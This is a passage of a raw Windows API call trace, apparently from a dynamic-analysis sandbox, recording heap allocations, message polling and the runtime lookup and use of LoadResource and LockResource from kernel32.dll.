[0135.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d80 [0135.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9f8 [0135.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077dc8 [0135.136] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9f8 | out: hHeap=0xe80000) returned 1 [0135.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f00 [0135.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf858 [0135.136] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f18 [0135.137] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0135.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e58 [0135.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa08 [0135.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e10 [0135.137] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa08 | out: hHeap=0xe80000) returned 1 [0135.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e88 [0135.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf868 [0135.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077cc0 [0135.137] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf868 | out: hHeap=0xe80000) returned 1 [0135.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f30 [0135.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0135.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d68 [0135.137] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0135.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077cd8 [0135.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0135.137] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e70 [0135.138] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0135.138] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ee8 [0135.138] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa08 [0135.138] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa08 | out: hHeap=0xe80000) returned 1 [0135.138] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf928 [0135.138] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077de0 [0135.138] CharLowerBuffW (in: lpsz="ptr", cchLength=0x3 | out: lpsz="ptr") returned 0x3 [0135.138] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077df8 [0135.138] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf888 [0135.138] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf8a8 [0135.138] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f48 [0135.138] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077df8 | out: hHeap=0xe80000) returned 1 [0135.138] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf888 | out: hHeap=0xe80000) returned 1 [0135.138] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f48 | out: hHeap=0xe80000) returned 1 [0135.138] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8a8 | out: hHeap=0xe80000) returned 1 [0135.138] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba7f0 [0135.139] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf938 [0135.139] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077eb8 [0135.139] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf878 [0135.139] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa08 [0135.139] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f48 [0135.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077eb8 | out: hHeap=0xe80000) returned 1 [0135.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf878 | out: hHeap=0xe80000) returned 1 [0135.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f48 | out: hHeap=0xe80000) returned 1 [0135.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa08 | out: hHeap=0xe80000) returned 1 [0135.139] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf858 [0135.139] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d98 [0135.139] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf988 [0135.139] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf948 [0135.139] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f48 [0135.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d98 | out: hHeap=0xe80000) returned 1 [0135.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0135.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f48 | out: hHeap=0xe80000) returned 1 [0135.139] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0135.139] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x770a0000 [0135.140] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d20 [0135.140] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf868 [0135.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LoadResource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0135.140] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xd) returned 0x1077df8 [0135.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LoadResource", cchWideChar=13, lpMultiByteStr=0x1077df8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LoadResource", lpUsedDefaultChar=0x0) returned 13 [0135.140] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077df8 | out: hHeap=0xe80000) returned 1 [0135.140] GetProcAddress (hModule=0x770a0000, lpProcName="LoadResource") returned 0x770b76f0 [0135.140] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d20 | out: hHeap=0xe80000) returned 1 [0135.140] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf868 | out: hHeap=0xe80000) returned 1 [0135.140] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba520 [0135.140] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa18 [0135.140] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf8a8 [0135.140] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0135.141] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8a8 | out: hHeap=0xe80000) returned 1 [0135.141] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba520 | out: hHeap=0xe80000) returned 1 [0135.141] LoadResource (hModule=0x0, hResInfo=0x3776b8) returned 0x44b1ac [0135.141] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf948 [0135.141] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x214) returned 0xed5c88 [0135.141] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1077d38 [0135.141] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f60 [0135.141] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077df8 [0135.141] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077fa8 [0135.141] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf988 [0135.141] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077fa8 | out: hHeap=0xe80000) returned 1 [0135.141] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0135.141] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077df8 | out: hHeap=0xe80000) returned 1 [0135.142] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d98 [0135.142] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f78 [0135.142] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077df8 [0135.142] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa28 [0135.142] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077df8 | out: hHeap=0xe80000) returned 1 [0135.142] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0135.142] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f78 | out: hHeap=0xe80000) returned 1 [0135.142] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077fa8 [0135.142] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d20 [0135.142] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ea0 [0135.142] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf988 [0135.142] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ea0 | out: hHeap=0xe80000) returned 1 [0135.142] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0135.142] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d20 | out: hHeap=0xe80000) returned 1 [0135.142] FreeLibrary (hLibModule=0x770a0000) returned 1 [0135.142] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0135.142] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0135.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba7f0 | out: hHeap=0xe80000) returned 1 [0135.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077de0 | out: hHeap=0xe80000) returned 1 [0135.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0135.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077dc8 | out: hHeap=0xe80000) returned 1 [0135.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d80 | out: hHeap=0xe80000) returned 1 [0135.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f18 | out: hHeap=0xe80000) returned 1 [0135.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f00 | out: hHeap=0xe80000) returned 1 [0135.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e10 | out: hHeap=0xe80000) returned 1 [0135.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e58 | out: hHeap=0xe80000) returned 1 [0135.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077cc0 | out: hHeap=0xe80000) returned 1 [0135.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e88 | out: hHeap=0xe80000) returned 1 [0135.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d68 | out: hHeap=0xe80000) returned 1 [0135.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f30 | out: hHeap=0xe80000) returned 1 [0135.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e70 | out: hHeap=0xe80000) returned 1 [0135.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077cd8 | out: hHeap=0xe80000) returned 1 [0135.143] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ee8 | out: hHeap=0xe80000) returned 1 [0135.144] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba728 | out: hHeap=0xe80000) returned 1 [0135.144] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0135.144] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077eb8 [0135.144] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0135.144] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077eb8 | out: hHeap=0xe80000) returned 1 [0135.144] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f60 | out: hHeap=0xe80000) returned 1 [0135.144] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d98 | out: hHeap=0xe80000) returned 1 [0135.144] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077fa8 | out: hHeap=0xe80000) returned 1 [0135.144] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d38 | out: hHeap=0xe80000) returned 1 [0135.145] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed5c88 | out: hHeap=0xe80000) returned 1 [0135.145] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0135.145] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0135.145] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077a50 | out: hHeap=0xe80000) returned 1 [0135.145] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.145] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba728 [0135.145] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10779f0 [0135.145] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf878 [0135.145] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf878 | out: hHeap=0xe80000) returned 1 [0135.145] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077a50 [0135.145] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077af8 [0135.145] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf918 [0135.145] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779f0 | out: hHeap=0xe80000) returned 1 [0135.145] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba728 | out: hHeap=0xe80000) returned 1 [0135.145] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077af8 | out: hHeap=0xe80000) returned 1 [0135.146] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0135.146] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077a50 | out: hHeap=0xe80000) returned 1 [0135.146] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9c8 [0135.146] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9c8 | out: hHeap=0xe80000) returned 1 [0135.146] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba728 [0135.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10779f0 [0135.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf888 [0135.146] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077a50 [0135.146] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf888 | out: hHeap=0xe80000) returned 1 [0135.146] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077a50 | out: hHeap=0xe80000) returned 1 [0135.146] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779f0 | out: hHeap=0xe80000) returned 1 [0135.146] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba728 | out: hHeap=0xe80000) returned 1 [0135.147] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.147] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecb50 | out: hHeap=0xe80000) returned 1 [0135.147] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.147] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf858 [0135.147] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf988 [0135.147] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7d18 [0135.147] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec950 [0135.147] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.147] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.147] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf868 [0135.147] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9b8 [0135.148] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7d18 [0135.308] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec4d0 [0135.309] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.309] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0135.309] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9e40 [0135.309] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077810 [0135.309] CharLowerBuffW (in: lpsz="ptr", cchLength=0x3 | out: lpsz="ptr") returned 0x3 [0135.309] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x770a0000 [0135.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LockResource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0135.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LockResource", cchWideChar=13, lpMultiByteStr=0x1077f48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LockResource", lpUsedDefaultChar=0x0) returned 13 [0135.309] GetProcAddress (hModule=0x770a0000, lpProcName="LockResource") returned 0x770b7890 [0135.309] LockResource (hResData=0x44b1ac) returned 0x44b1ac [0135.310] FreeLibrary (hLibModule=0x770a0000) returned 1 [0135.310] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0135.310] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9eb8 | out: hHeap=0xe80000) returned 1 [0135.310] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f18 | out: hHeap=0xe80000) returned 1 [0135.310] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0135.310] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077af8 | out: hHeap=0xe80000) returned 1 [0135.310] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077810 | out: hHeap=0xe80000) returned 1 [0135.310] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077a50 | out: hHeap=0xe80000) returned 1 [0135.310] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779f0 | out: hHeap=0xe80000) returned 1 [0135.310] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e88 | out: hHeap=0xe80000) returned 1 [0135.310] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f60 | out: hHeap=0xe80000) returned 1 [0135.310] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077de0 | out: hHeap=0xe80000) returned 1 [0135.310] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077dc8 | out: hHeap=0xe80000) returned 1 [0135.310] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077df8 | out: hHeap=0xe80000) returned 1 [0135.311] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9e40 | out: hHeap=0xe80000) returned 1 [0135.311] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0135.311] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d20 | out: hHeap=0xe80000) returned 1 [0135.311] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e10 | out: hHeap=0xe80000) returned 1 [0135.311] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f78 | out: hHeap=0xe80000) returned 1 [0135.311] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9b8 | out: hHeap=0xe80000) returned 1 [0135.311] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed5c88 | out: hHeap=0xe80000) returned 1 [0135.311] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0135.311] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0135.311] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b58 | out: hHeap=0xe80000) returned 1 [0135.312] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0135.312] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0135.312] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9e40 [0135.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077af8 [0135.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf988 [0135.312] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077af8 | out: hHeap=0xe80000) returned 1 [0135.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec22c8 [0135.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10779f0 [0135.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077a50 [0135.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9f8 [0135.312] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077a50 | out: hHeap=0xe80000) returned 1 [0135.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077a50 [0135.312] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9f8 | out: hHeap=0xe80000) returned 1 [0135.312] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.313] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec4d0 | out: hHeap=0xe80000) returned 1 [0135.313] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.313] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf868 [0135.313] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0135.313] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.313] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.314] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0135.314] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf868 | out: hHeap=0xe80000) returned 1 [0135.314] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec790 [0135.314] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.314] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec790 | out: hHeap=0xe80000) returned 1 [0135.314] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.314] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf918 [0135.314] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9b8 [0135.315] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7cb8 [0135.315] HeapFree (in: hHeap=0xe80000, 